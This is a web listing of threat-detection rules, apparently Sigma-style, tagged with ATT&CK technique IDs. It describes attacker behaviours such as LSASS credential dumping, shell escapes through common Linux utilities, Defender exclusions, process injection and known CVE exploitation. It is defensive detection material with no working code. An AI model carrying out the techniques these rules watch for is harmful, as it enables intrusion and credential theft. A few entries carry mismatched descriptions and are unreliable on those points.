Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache<RANDOM-8-CHAR-DIRECTORY>"

Read More
Potential Linux Process Code Injection Via DD Utility

Oct 1, 2024 · attack.defense-evasion attack.t1055.009 ·
Share on:

Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.

Read More
Potential Persistence Via Netsh Helper DLL - Registry

Oct 1, 2024 · attack.persistence attack.t1546.007 ·
Share on:

Detects changes to the Netsh registry key to add a new DLL value. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper

Read More
Potential Process Hollowing Activity

Oct 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055.012 ·
Share on:

Detects when a memory process image does not match the disk image, indicative of process hollowing.

Read More
Potentially Suspicious Electron Application CommandLine

Oct 1, 2024 · attack.execution ·
Share on:

Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.

Read More
Potentially Suspicious GrantedAccess Flags On LSASS

Oct 1, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·
Share on:

Detects process access requests to LSASS process with potentially suspicious access flags

Read More
PowerShell Execution With Potential Decryption Capabilities

Oct 1, 2024 · attack.execution ·
Share on:

Detects PowerShell commands that decrypt an ".LNK" "file to drop the next stage of the malware.

Read More
Process Proxy Execution Via Squirrel.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

Read More
Remote Thread Creation Via PowerShell In Uncommon Target

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218.011 attack.t1059.001 ·
Share on:

Detects the creation of a remote thread from a Powershell process in an uncommon target process

Read More
Remote XSL Execution Via Msxsl.EXE

Oct 1, 2024 · attack.defense-evasion attack.t1220 ·
Share on:

Detects the execution of the "msxsl" binary with an "http" keyword in the command line. This might indicate a potential remote execution of XSL files.

Read More
Security Tools Keyword Lookup Via Findstr.EXE

Oct 1, 2024 · attack.discovery attack.t1518.001 ·
Share on:

Detects execution of "findstr" to search for common names of security tools. Attackers often pipe the results of recon commands such as "tasklist" or "whoami" to "findstr" in order to filter out the results. This detection focuses on the keywords that the attacker might use as a filter.

Read More
Suspicious Chromium Browser Instance Executed With Custom Extension

Oct 1, 2024 · attack.persistence attack.t1176 ·
Share on:

Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start an instance with a custom extension

Read More
Suspicious Path In Keyboard Layout IME File Registry Value

Oct 1, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.

Read More
Suspicious Shim Database Patching Activity

Oct 1, 2024 · attack.persistence attack.t1546.011 ·
Share on:

Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence.

Read More
Uncommon Extension In Keyboard Layout IME File Registry Value

Oct 1, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.

Read More
Unusual Parent Process For Cmd.EXE

Oct 1, 2024 · attack.execution attack.t1059 ·
Share on:

Detects suspicious parent process for cmd.exe

Read More
Vulnerable Driver Load

Oct 1, 2024 · attack.privilege-escalation attack.t1543.003 attack.t1068 ·
Share on:

Detects loading of known vulnerable drivers via their hash.

Read More
Vulnerable Driver Load By Name

Oct 1, 2024 · attack.privilege-escalation attack.t1543.003 attack.t1068 ·
Share on:

Detects the load of known vulnerable drivers via the file name of the drivers.

Read More
Whoami.EXE Execution Anomaly

Oct 1, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·
Share on:

Detects the execution of whoami.exe with suspicious parent processes.

Read More
Whoami.EXE Execution From Privileged Process

Oct 1, 2024 · attack.privilege-escalation attack.discovery attack.t1033 ·
Share on:

Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors

Read More
Whoami.EXE Execution With Output Option

Oct 1, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·
Share on:

Detects the execution of "whoami.exe" with the "/FO" flag to choose CSV as output format or with redirection options to export the results to a file for later use.

Read More
Linux HackTool Execution

Sep 22, 2024 · attack.execution attack.resource-development attack.t1587 ·
Share on:

Detects known hacktool execution based on image name.

Read More
Linux Network Service Scanning Tools Execution

Sep 22, 2024 · attack.discovery attack.t1046 ·
Share on:

Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.

Read More
Remote Access Tool - MeshAgent Command Execution via MeshCentral

Sep 22, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects the use of MeshAgent to execute commands on the target host, particularly when threat actors might abuse it to execute commands directly. MeshAgent can execute commands on the target host by leveraging win-console to obscure their activities and win-dispatcher to run malicious code through IPC with child processes.

Read More
Windows Defender Exclusion Registry Key - Write Access Requested

Sep 22, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.

Read More
Windows Defender Real-time Protection Disabled

Sep 22, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who initiated this action you might want to reduce it to a "medium" level if this occurs too many times in your environment

Read More
Detect MeshAgent Command Execution via MeshCentral

Sep 21, 2024 · attack.command_and_control attack.t1219 ·
Share on:

Detects the use of MeshAgent to execute commands on the target host, particularly when threat actors might abuse it to execute commands directly. MeshAgent can execute commands on the target host by leveraging win-console to obscure their activities and win-dispatcher to run malicious code through IPC with child processes.

Read More
Search for Antivirus process

Sep 20, 2024 ·
Share on:

Search for Antivirus process

Read More
Network Connection Initiated To BTunnels Domains

Sep 13, 2024 · attack.exfiltration attack.t1567.001 ·
Share on:

Detects network connections to BTunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Read More
PwnKit Local Privilege Escalation

Sep 13, 2024 · attack.privilege-escalation attack.t1548.001 ·
Share on:

Detects potential PwnKit exploitation CVE-2021-4034 in auth logs

Read More
UNC2452 Process Creation Patterns

Sep 13, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries

Read More
CVE-2021-1675 Print Spooler Exploitation Filename Pattern

Sep 13, 2024 · attack.execution attack.privilege-escalation attack.resource-development attack.t1587 cve.2021-1675 detection.emerging-threats ·
Share on:

Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675

Read More
HackTool - DInjector PowerShell Cradle Execution

Sep 13, 2024 · attack.defense-evasion attack.t1055 ·
Share on:

Detects the use of the Dinject PowerShell cradle based on the specific flags

Read More
InstallerFileTakeOver LPE CVE-2021-41379 File Create Event

Sep 13, 2024 · attack.privilege-escalation attack.t1068 detection.emerging-threats ·
Share on:

Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file

Read More
LPE InstallerFileTakeOver PoC CVE-2021-41379

Sep 13, 2024 · attack.initial-access attack.t1190 detection.emerging-threats ·
Share on:

Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379

Read More
Malicious PowerShell Scripts - FileCreation

Sep 13, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the creation of known offensive powershell scripts used for exploitation

Read More
Malicious PowerShell Scripts - PoshModule

Sep 13, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance

Read More
Possible CVE-2021-1675 Print Spooler Exploitation

Sep 13, 2024 · attack.execution attack.t1569 cve.2021-1675 detection.emerging-threats ·
Share on:

Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675

Read More
Potential PrintNightmare Exploitation Attempt

Sep 13, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574 cve.2021-1675 ·
Share on:

Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675

Read More
Potential RDP Exploit CVE-2019-0708

Sep 13, 2024 · attack.lateral-movement attack.t1210 car.2013-07-002 ·
Share on:

Detect suspicious error on protocol RDP, potential CVE-2019-0708

Read More
Potential SAM Database Dump

Sep 13, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects the creation of files that look like exports of the local SAM (Security Account Manager)

Read More
Scanner PoC for CVE-2019-0708 RDP RCE Vuln

Sep 13, 2024 · attack.lateral-movement attack.t1210 car.2013-07-002 ·
Share on:

Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep

Read More
Suspicious Rejected SMB Guest Logon From IP

Sep 13, 2024 · attack.credential-access attack.t1110.001 ·
Share on:

Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service

Read More
Windows Spooler Service Suspicious Binary Load

Sep 13, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574 cve.2021-1675 cve.2021-34527 ·
Share on:

Detect DLL Load from Spooler Service backup folder

Read More
Cicada Ransomware PSExec File Creation

Sep 9, 2024 · attack.lateral-movement attack.execution attack.t1570 attack.t1569 attack.t1569.002 attack.s0029 ·
Share on:

Detects creation of a lightly-renamed PSExec file in C:\Users\Public, as observed in the Cicada3301 Ransomware report from MorphiSec.

Read More
Cicada3301 Ransomware Execution via PSExec

Sep 9, 2024 · attack.execution attack.t1569 attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of a potentially-renamed psexec to run the Cicada3301 ransomware tool.

Read More
Hyper-V Virtual Machine Discovery Shutdown via Powershell Cmdlets

Sep 9, 2024 · attack.defense-evasion attack.impact attack.t1578 attack.t1578.003 attack.t1529 ·
Share on:

Detects powershell process used to find and shut down local Hyper-V VMs using the Stop-VM cmdlet, as documented in the 2024 Morphisec report on Cicada3301 ransomware.

Read More
IISReset Used to Stop IIS Services

Sep 9, 2024 · attack.impact attack.defense-evasion attack.t1562 attack.t1562.001 attack.t1529 ·
Share on:

Detects the use of the iisreset.exe utility to stop IIS web services. This is used to prevent users from accessing IIS web resources, thereby releasing/preventing locks which could inhibit ransomware-related encryption.

Read More
Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image

Sep 6, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects potential commandline obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

Read More
Potential Defense Evasion Via Right-to-Left Override

Sep 6, 2024 · attack.defense-evasion attack.t1036.002 ·
Share on:

Detects the presence of the "u202+E" character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence. This is used as an obfuscation and masquerading techniques.

Read More
Startup/Logon Script Added to Group Policy Object

Sep 6, 2024 · attack.privilege-escalation attack.t1484.001 attack.t1547 ·
Share on:

Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects.

Read More
Persistence and Execution at Scale via GPO Scheduled Task

Sep 6, 2024 · attack.persistence attack.lateral-movement attack.t1053.005 ·
Share on:

Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale

Read More
Group Policy Abuse for Privilege Addition

Sep 6, 2024 · attack.privilege-escalation attack.t1484.001 ·
Share on:

Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins.

Read More
Process Deletion of Its Own Executable

Sep 3, 2024 · attack.defense-evasion ·
Share on:

Detects the deletion of a process's executable by itself. This is usually not possible without workarounds and may be used by malware to hide its traces.

Read More
Dism Remove Online Package

Sep 3, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

Read More
PowerShell Web Access Feature Enabled Via DISM

Sep 3, 2024 · attack.persistence attack.t1548.002 ·
Share on:

Detects the use of DISM to enable the PowerShell Web Access feature, which could be used for remote access and potential abuse

Read More
PowerShell Web Access Installation - PsScript

Sep 3, 2024 · attack.persistence attack.t1059.001 ·
Share on:

Detects the installation and configuration of PowerShell Web Access, which could be used for remote access and potential abuse

Read More
Remote Access Tool - AnyDesk Incoming Connection

Sep 2, 2024 · attack.persistence attack.command-and-control attack.t1219 ·
Share on:

Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listening instance of AnyDesk and use it as potential command and control channel.

Read More
Capsh Shell Invocation - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the "capsh" utility to invoke a shell.

Read More
Inline Python Execution - Spawn Shell Via OS System Library

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.

Read More
Shell Execution GCC - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Shell Execution via Find - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.

Read More
Shell Execution via Flock - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects the use of the "flock" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Shell Execution via Git - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Shell Execution via Nice - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects the use of the "nice" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Shell Execution via Rsync - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Shell Invocation via Apt - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Shell Invocation via Env Command - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

Read More
Shell Invocation Via Ssh - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
Suspicious Invocation of Shell via AWK - Linux

Sep 2, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

Read More
Vim GTFOBin Abuse - Linux

Sep 2, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Read More
AWS S3 Bucket Versioning Disable

Sep 2, 2024 · attack.impact attack.t1490 ·
Share on:

Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.

Read More
Certificate Use With No Strong Mapping

Sep 2, 2024 · attack.privilege-escalation ·
Share on:

Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID) This could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping. Events where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.

Read More
ChromeLoader Malware Execution

Sep 2, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 attack.t1176 detection.emerging-threats ·
Share on:

Detects execution of ChromeLoader malware via a registered scheduled task

Read More
DarkGate - Autoit3.EXE Execution Parameters

Sep 2, 2024 · attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects execution of the legitimate Autoit3 utility from a suspicious parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server.

Read More
DarkGate - Autoit3.EXE File Creation By Uncommon Process

Sep 2, 2024 · attack.command-and-control attack.execution attack.t1105 attack.t1059 detection.emerging-threats ·
Share on:

Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.

Read More
DarkGate - User Created Via Net.EXE

Sep 2, 2024 · attack.persistence attack.t1136.001 detection.emerging-threats ·
Share on:

Detects creation of local users via the net.exe command with the name of "DarkGate"

Read More
Diamond Sleet APT DLL Sideloading Indicators

Sep 2, 2024 · attack.defense-evasion attack.t1574.002 detection.emerging-threats ·
Share on:

Detects DLL sideloading activity seen used by Diamond Sleet APT

Read More
Diamond Sleet APT DNS Communication Indicators

Sep 2, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects DNS queries related to Diamond Sleet APT activity

Read More
Diamond Sleet APT File Creation Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects file creation activity that is related to Diamond Sleet APT activity

Read More
Diamond Sleet APT Process Activity Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects process creation activity indicators related to Diamond Sleet APT

Read More
Diamond Sleet APT Scheduled Task Creation

Sep 2, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 detection.emerging-threats ·
Share on:

Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability

Read More
Diamond Sleet APT Scheduled Task Creation - Registry

Sep 2, 2024 · attack.defense-evasion attack.t1562 detection.emerging-threats ·
Share on:

Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability

Read More
Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback

Sep 2, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects enabling of the "AllowAnonymousCallback" registry value, which allows a remote connection between computers that do not have a trust relationship.

Read More
Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC

Sep 2, 2024 · attack.execution attack.lateral-movement attack.t1210 cve.2020-1472 detection.emerging-threats ·
Share on:

Detects the execution of the commonly used ZeroLogon PoC executable.

Read More
Exploitation Indicators Of CVE-2023-20198

Sep 2, 2024 · attack.privilege-escalation attack.initial-access detection.emerging-threats ·
Share on:

Detecting exploitation indicators of CVE-2023-20198 a privilege escalation vulnerability in Cisco IOS XE Software Web UI.

Read More
File Download From IP Based URL Via CertOC.EXE

Sep 2, 2024 · attack.command-and-control attack.execution attack.t1105 ·
Share on:

Detects when a user downloads a file from an IP based URL using CertOC.exe

Read More
File Download From IP URL Via Curl.EXE

Sep 2, 2024 · attack.execution ·
Share on:

Detects file downloads directly from IP address URL using curl.exe

Read More
HackTool - CoercedPotato Named Pipe Creation

Sep 2, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·
Share on:

Detects the pattern of a pipe name as used by the hack tool CoercedPotato

Read More
Injected Browser Process Spawning Rundll32 - GuLoader Activity

Sep 2, 2024 · attack.defense-evasion attack.t1055 detection.emerging-threats ·
Share on:

Detects the execution of installed GuLoader malware on the host. GuLoader is initiating network connections via the rundll32.exe process that is spawned via a browser parent(injected) process.

Read More
Kerberoasting Activity - Initial Query

Sep 2, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

This rule will collect the data needed to start looking into possible kerberoasting activity. Further analysis or computation within the query is needed focusing on requests from one specific host/IP towards multiple service names within a time period of 5 seconds. You can then set a threshold for the number of requests and time between the requests to turn this into an alert.

Read More
Lazarus APT DLL Sideloading Activity

Sep 2, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 attack.g0032 detection.emerging-threats ·
Share on:

Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company

Read More
LSASS Process Memory Dump Creation Via Taskmgr.EXE

Sep 2, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the creation of an "lsass.dmp" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager.

Read More
New Okta User Created

Sep 2, 2024 · attack.credential-access ·
Share on:

Detects new user account creation

Read More
Obfuscated IP Via CLI

Sep 2, 2024 · attack.discovery ·
Share on:

Detects usage of an encoded/obfuscated version of an IP address (hex, octal, etc.) via command line

Read More
Obfuscated PowerShell OneLiner Execution

Sep 2, 2024 · attack.defense-evasion attack.execution attack.t1059.001 attack.t1562.001 ·
Share on:

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Read More
Okta 2023 Breach Indicator Of Compromise

Sep 2, 2024 · attack.credential-access detection.emerging-threats ·
Share on:

Detects new user account creation or activation with specific names related to the Okta Support System 2023 breach. This rule can be enhanced by filtering out known and legitimate username used in your environnement.

Read More
Okta Admin Functions Access Through Proxy

Sep 2, 2024 · attack.credential-access ·
Share on:

Detects access to Okta admin functions through proxy.

Read More
OneNote.EXE Execution of Malicious Embedded Scripts

Sep 2, 2024 · attack.defense-evasion attack.t1218.001 ·
Share on:

Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.

Read More
Onyx Sleet APT File Creation Indicators

Sep 2, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects file creation activity that is related to Onyx Sleet APT activity

Read More
Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon

Sep 2, 2024 · attack.initial-access attack.t1190 cve.2021-44228 detection.emerging-threats ·
Share on:

Detects potential initial exploitation attempts against VMware Horizon deployments running a vulnerable versions of Log4j.

Read More
Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution

Sep 2, 2024 · attack.execution attack.initial-access attack.t1059.006 attack.t1190 cve.2022-22954 detection.emerging-threats ·
Share on:

Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application.

Read More
Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader

Sep 2, 2024 · attack.persistence attack.t1505.001 cve.2023-27363 detection.emerging-threats ·
Share on:

Detects suspicious ".hta" file creation in the startup folder by Foxit Reader. This can be an indication of CVE-2023-27363 exploitation.

Read More
Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation

Sep 2, 2024 · attack.execution cve.2023-36874 detection.emerging-threats ·
Share on:

Detects the creation of a file named "wermgr.exe" being created in an uncommon directory. This could be a sign of potential exploitation of CVE-2023-36874.

Read More
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 1

Sep 2, 2024 · attack.defense-evasion ·
Share on:

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

Read More
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 2

Sep 2, 2024 · attack.defense-evasion ·
Share on:

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

Read More
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 3

Sep 2, 2024 · attack.defense-evasion ·
Share on:

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

Read More
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 4

Sep 2, 2024 · attack.defense-evasion ·
Share on:

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

Read More
Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream

Sep 2, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detects the creation of hidden file/folder with the "::$index_allocation" stream. Which can be used as a technique to prevent access to folder and files from tooling such as "explorer.exe" and "powershell.exe"

Read More
Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI

Sep 2, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detects command line containing reference to the "::$index_allocation" stream, which can be used as a technique to prevent access to folders or files from tooling such as "explorer.exe" or "powershell.exe"

Read More
Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy

Sep 2, 2024 · attack.initial-access attack.t1190 cve.2023-43621 detection.emerging-threats ·
Share on:

Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in proxy logs.

Read More
Potential Information Disclosure CVE-2023-43261 Exploitation - Web

Sep 2, 2024 · attack.initial-access attack.t1190 cve.2023-43621 detection.emerging-threats ·
Share on:

Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in access logs.

Read More
Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE

Sep 2, 2024 · attack.execution attack.t1059 cve.2023-34362 detection.emerging-threats ·
Share on:

Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files.

MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\([a-z0-9]{5,12})\([a-z0-9]{5,12})\App_Web_[a-z0-9]{5,12}.dll.

Hunting Opportunity

Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated.

Read More
Potential Okta Password in AlternateID Field

Sep 2, 2024 · attack.credential-access attack.t1552 ·
Share on:

Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files.

Read More
Potentially Suspicious Child Process Of VsCode

Sep 2, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.

Read More
Potentially Suspicious Office Document Executed From Trusted Location

Sep 2, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of an Office application that points to a document that is located in a trusted location. Attackers often used this to avoid macro security and execute their malicious code.

Read More
PowerShell Module File Created By Non-PowerShell Process

Sep 2, 2024 · attack.persistence ·
Share on:

Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc. by a non-PowerShell process

Read More
PowerShell Script Execution Policy Enabled

Sep 2, 2024 · attack.execution ·
Share on:

Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.

Read More
Python Function Execution Security Warning Disabled In Excel

Sep 2, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects changes to the registry value "PythonFunctionWarnings" that would prevent any warnings or alerts from showing when Python functions are about to be executed. Threat actors could run malicious code through the new Microsoft Excel feature that allows Python to run within the spreadsheet.

Read More
Raspberry Robin Initial Execution From External Drive

Sep 2, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects the initial execution of the Raspberry Robin malware from an external drive using "Cmd.EXE".

Read More
Raspberry Robin Subsequent Execution of Commands

Sep 2, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects raspberry robin subsequent execution of commands.

Read More
Remote Access Tool - ScreenConnect Command Execution

Sep 2, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects command execution via ScreenConnect RMM

Read More
Remote Access Tool - ScreenConnect File Transfer

Sep 2, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects file being transferred via ScreenConnect RMM

Read More
Remote Access Tool - ScreenConnect Temporary File

Sep 2, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\Users<username>\Documents\ConnectWiseControl\Temp" before execution.

Read More
Renamed CURL.EXE Execution

Sep 2, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields

Read More
Renamed VsCode Code Tunnel Execution - File Indicator

Sep 2, 2024 · attack.command-and-control ·
Share on:

Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility by an "Image" or "Process" other than VsCode.

Read More
Schtasks Creation Or Modification With SYSTEM Privileges

Sep 2, 2024 · attack.execution attack.persistence attack.t1053.005 ·
Share on:

Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges

Read More
